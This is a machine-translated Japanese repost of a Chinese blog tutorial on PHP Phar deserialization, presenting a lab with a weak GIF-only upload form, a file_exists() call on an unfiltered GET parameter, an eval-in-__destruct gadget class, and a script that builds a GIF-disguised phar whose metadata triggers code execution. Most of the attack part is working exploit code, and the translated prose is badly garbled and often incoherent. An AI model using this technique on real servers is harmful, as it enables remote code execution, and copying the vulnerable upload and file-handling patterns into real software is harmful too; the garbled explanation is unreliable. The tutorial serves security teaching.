予備的理解のPharは、デシリアライズ

このような問題にも多くのことを書き、それぞれの出会いの知らない、私は、プロセスについての私の理解をさせることができ、物品の今日のデモは比較的簡単なので、程度の記録ダウン書き込みを見ました。

Pharデシリアライゼーションは、部品のPHPファイルのPhar以降に生成および保存の配列によって制御され、ファイル使用file_get_content()関数とのPhar有するようなものである://ファイルプロトコルを含む場合、ファイルのPharをデシリアライズします。私たちは、攻撃の目的を達成するように、デシリアライズ時に魔法のメソッドは、自動的に魔法のメソッドを呼び出すいくつかのコードを書くことができます。

いくつかは、この条件を使用します。

  1. Pharファイルは、サーバーにアップロードします。
  2. 魔法の方法はとして利用可能でなければならない「踏み台」。
  3. 制御パラメータファイル操作機能、および:, /、phar形式およびその他の特殊文字はフィルタリングされません。

私はちょうど示すために用いられる方法の一部を使用し、記事に小さなデモを発見しました。

我々が開始する前に、我々は、以下のオプションを変更し、php.iniの中で、それ以外の場合は作成されませんのPharファイルをこのマシンを必要としています。

ここに画像を挿入説明

すなわち、ドローン攻撃内部に3つの文書を準備しますupload.html(スプレッドシートのアップロードファイル)

<html>
<head>
<title>phar_test</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input class="button" type="submit" name="submit" value="submit"/>
</form>
</body>
</html>

upload.php(アップロードファイルの処理)

<?php
$Upload_dir = "../upload_file/";//上传文件存放处
if(isset($_POST['submit']))
{
        if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif')//判断文件类型
        {
                echo "Upload: " . $_FILES["file"]["name"]."<br>";
                echo "Type: " . $_FILES["file"]["type"]."<br>";
                if (file_exists($Upload_dir))//判断文件夹是否存在
                {
                        echo "Can't find the folder to save the file,please create a folder";
                }
                else
                {
                        move_uploaded_file($_FILES["file"]["tmp_name"],$Upload_dir .$_FILES["file"]["name"]);
                        echo "Stored in: " . $Upload_dir . $_FILES["file"]["name"]."<br>";
                }
        }
        else
        {
                echo "Invalid file,you can only upload gif";
        }
}
?>

file_un.php(ファイルが含まれています)

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "cck<br>";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$a = new Anyclass();
$b = serialize($a);
echo 'normal unserialize:<br>';
unserialize($b);//演示正常反序列化的输出
echo 'GET the $filename';
file_exists($filename);
?>

そして、777個のフォルダに権限upload_file(アップロードされたファイルを格納するために使用されます)。のみアップロードgifファイルが必要ですUpload.php。
作業が完了した後は、実験を開始することができます。

まず、phar形式のファイルを作成するために使用evil.phpを書きます

<?php
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');//创建一个phar.phar文件
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置phar文件的Stub部分
$phar -> addFromString('test.txt','test');//添加test.txt文件进入phar文件
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);//设置Metadata
$phar -> stopBuffering();
?>

これは、圧縮ファイルなどのPharファイルの性質を説明する必要があり、通常は4つの部分があります。

  1. スタブ部分、のphar:フォームのその部分を認識するのPharファイルのニーズを識別するために//プロトコル:xxx<?php xxx; __HALT_COMPILER();?>コンテンツの前では問題ではないが、それは必要としなければならない__HALT_COMPILER();?>、それ以外の場合は認識しない、最後に。
  2. マニフェストセクションには、ファイルのパーミッションを記述し、その上に使用される属性、および直列化は、ユーザー定義格納するためMetadataのデータが、また、私たちの主にローカルの攻撃を。
  3. 圧縮されたファイルの内容。
  4. 署名、通常はファイルの最後に、オプショナル。

私たちは、phar.pharファイルで作成されたevil.php ASCIIファイルをされて実行します。
ここに画像を挿入説明
あなたが見ることができ、ファイルヘッダがありGIF98aとのphar://ファイルには、ヘッドのPharファイルに識別することができますが、我々は接尾辞について限りすることができますようにそれを変更します:ファイルのPhar障害は、アップロードされたフィギュアの効果の後に許可していないGIFファイルの種類に制限を超える
ここに画像を挿入説明
output値となる"phpinfo();"関数を呼び出すとき、それは魔法になりますeval(phpinfo();)注文の履行の目的を達成するように、。魔法の関数を呼び出し、使用するデシリアライゼーションのニーズのデシリアライズを必要とinclude()するPharとその他の機能を://プロトコルは、phar形式のファイルを読み込みます。そして、私たちが使用する必要があるfile_un.phpファイルが含まれ、効果が示されている。
ここに画像を挿入説明
この時点で、我々は成功した私たちの目標を達成するために、攻撃を行いました。
通常のファイルが含まれています。
![ここの挿入の説明](https://img-blog.csdnimg.cn/20200313000350836.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl8
参考記事https://www.freebuf.com/articles/web/205943.html
https://paper.seebug.org/680/

公開された37元の記事 ウォンの賞賛2 ビュー1420

おすすめ

転載: blog.csdn.net/weixin_44377940/article/details/104799804